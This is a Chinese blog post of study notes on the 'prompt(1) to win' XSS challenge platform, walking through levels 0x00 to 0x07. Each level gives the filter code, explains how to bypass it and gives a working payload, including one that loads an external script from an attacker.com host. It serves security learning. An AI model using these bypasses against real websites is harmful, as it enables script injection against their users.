prompt(1)-to-win学习记录

前言

在大致对前端的知识有些了解过后,开始学习安全,首先从XSS开始学习,这里记录一个XSS练习平台prompt(1) to win的学习,如有不对的地方,欢迎大佬斧正!

0x00

1
2
3
4
5
function escape(input) {
// warm up
// script should be executed without user interaction
return '<input type="text" value="' + input + '">';
}

第一关比较简单,没有什么过滤,只要闭合标签就可以了

payload:

"><script>prompt(1)</script>

0x01

1
2
3
4
5
6
7
8
function escape(input) {
// tags stripping mechanism from ExtJS library
// Ext.util.Format.stripTags
var stripTagsRE = /<\/?[^>]+>/gi;
input = input.replace(stripTagsRE, '');

return '<article>' + input + '</article>';
}

这里有一个正则过滤/</?[^>]+>/gi,大概的意思就是把像<…>或者</…>的内容全部替换为空。在HTML中即使没有结束标签(即没有后面的 > 或者没有后面的</……>),大多数浏览器也可以正常解析。

可以利用自闭和标签来XSS,参考网上大佬的wp。如:

1
2
3
<svg/onload="alert(1)"
<img src=x onerror="alert(1)"
<body onload="alert(1)"

那么就可以使用不闭合的标签来构造payload:

<img src=0 onerror=prompt(1)

0x02

1
2
3
4
5
6
7
function escape(input) {
// v-- frowny face
input = input.replace(/[=(]/g, '');

// ok seriously, disallows equal signs and open parenthesis
return input;
}

正则把输入中的=和(替换为空,可以用svg标签+HTML字符实体绕过正则,看网上的wp说svg标签会转化html编码进行解析,这里涉及到浏览器解析顺序的问题,不是很明白,还有待学习。

payload:
<svg><script>prompt&#40;1)</script>

翻了很多wp,大部分都是用svg标签去解析html编码,但还发现其他解法:首先`字符是可以把包裹住的字符串当成字符,同时把unicode转化为正常字符,即可成功alert。我没看懂,记录下来方便日后学习:

payload:

<script>eval.call${‘prompt\x281)’}</script>

0x03

1
2
3
4
5
6
7
function escape(input) {
// filter potential comment end delimiters
input = input.replace(/->/g, '_');

// comment the input to avoid script execution
return '<!-- ' + input + ' -->';
}

正则过滤了->,HTML5的注释写法有两种<!--XXX-->和<!--XXX--!>都可这题可以用–!>绕过正则。

payload:
--!><script>prompt(1)</script>

0x04

1
2
3
4
5
6
7
8
9
10
11
function escape(input) {
// make sure the script belongs to own site
// sample script: http://prompt.ml/js/test.js
if (/^(?:https?:)?\/\/prompt\.ml\//i.test(decodeURIComponent(input))) {
var script = document.createElement('script');
script.src = input;
return script.outerHTML;
} else {
return 'Invalid resource.';
}
}

@黑魔法,这题利用了 http://user:password@attacker.com 的方式访问外部的js文件来弹xss,但是 http://user:password/@attacker.com 不允许这样写,但正则却要加/,利用decodeURIComponent函数,把/进行url编码变成%2f,这样既能绕过正则,同时也能访问外部js文件。

payload:

http://prompt.ml%2f@external.js

0x05

1
2
3
4
5
6
7
function escape(input) {
// apply strict filter rules of level 0
// filter ">" and event handlers
input = input.replace(/>|on.+?=|focus/gi, '_');

return '<input value="' + input + '" type="text">';
}

正则过滤了>、onXXX=、focus,但是正则没有进行多行匹配(/xxx/m),所以可以通过换行来绕过onerror=的过滤,然后通过 “ 闭合value,再用type=image,把input标签变成img标签,再配合onerror就可以了。

payload:

1
2
"type=image src=0 onerror
=prompt(1)

0x06

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
function escape(input) {
// let's do a post redirection
try {
// pass in formURL#formDataJSON
// e.g. http://httpbin.org/post#{"name":"Matt"}
var segments = input.split('#');
var formURL = segments[0];
var formData = JSON.parse(segments[1]);

var form = document.createElement('form');
form.action = formURL;
form.method = 'post';

for (var i in formData) {
var input = form.appendChild(document.createElement('input'));
input.name = i;
input.setAttribute('value', formData[i]);
}

return form.outerHTML + ' \n\
<script> \n\
// forbid javascript: or vbscript: and data: stuff \n\
if (!/script:|data:/i.test(document.forms[0].action)) \n\
document.forms[0].submit(); \n\
else \n\
document.write("Action forbidden.") \n\
</script> \n\
';
} catch (e) {
return 'Invalid form data.';
}
}

因为我js语言基础不扎实,所以一开始看到这题,连题目意思都没看懂,就因为这样,我花了三天时间去菜鸟教程上翻文档,哪里不懂,哪个方法或者语法不懂就去翻,就这样找了三天,当然因为期间有很多网课所以花的时间比较长。在翻文档的期间,学到了很多,了解了JSON语言、split方法、json.parse方法、HTML DOM知识(createElement、appendChild、document.form等等)、JS正则表达式等等,让我对之前前端的学习得到了巩固与提升。

题意:

这段代码的意思就是传入一个类似 http://httpbin.org/post#{"name":"Matt"} 的input,然后用split把#两边的分开,再创建一个表单,把#之前的值传入form.action,把#之后json通过parse方法转成js对象再传给formData,然后为表单添加了一个input子节点,把js对象的键传给input.name.把js对象的值传给setAttribute方法新建的属性名value对应的属性值,最后return返回的就是一个带有input的form,然后就是用正则表达式来限制form.action中不能有script:或者data:,这个正则的意思大概就是限制了在form.action中使用javascript:伪协议。

题解:

虽然有个正则限制了form.action中使用js伪协议,但是action有个很奇怪的特性,如果前后都有action,访问action标签时访问的是后面的action的值,也就是说document.form[0].action在访问action时,会先选择表单中name为action的输入框,如果找不到,才会选择form标签的action属性值。根据这个特性就可以构造payload绕过正则。

payload:

javascript:prompt(1)#{"action":"xxx"}

0x07

1
2
3
4
5
6
7
8
function escape(input) {
// pass in something like dog#cat#bird#mouse...
var segments = input.split('#');
return segments.map(function(title) {
// title can only contain 12 characters
return '<p class="comment" title="' + title.slice(0, 12) + '"></p>';
}).join('\n');
}

这题是传入abc#def……的字符串,通过split把字符串分成字符串数组,map()方法返回一个新数组,数组中的元素是原始数组元素调用函数处理后的值,函数内通过slice方法把数组元素切片,也就是说每个元素限制成12个字符长,处理完后再加个换行符。为了突破12个字符长度限制,利用注释实现payload的拼接。这个题目巧妙地利用了js的注释,我觉得很有意思。

payload:

"><script>/*#*/prompt(1/*#*/)</script>

  • Copyright: Copyright is owned by the author. For commercial reprints, please contact the author for authorization. For non-commercial reprints, please indicate the source.

扫一扫,分享到微信

微信分享二维码
  • Copyrights © 2020-2021 Blog of Tianze

请我喝杯咖啡吧~

支付宝
微信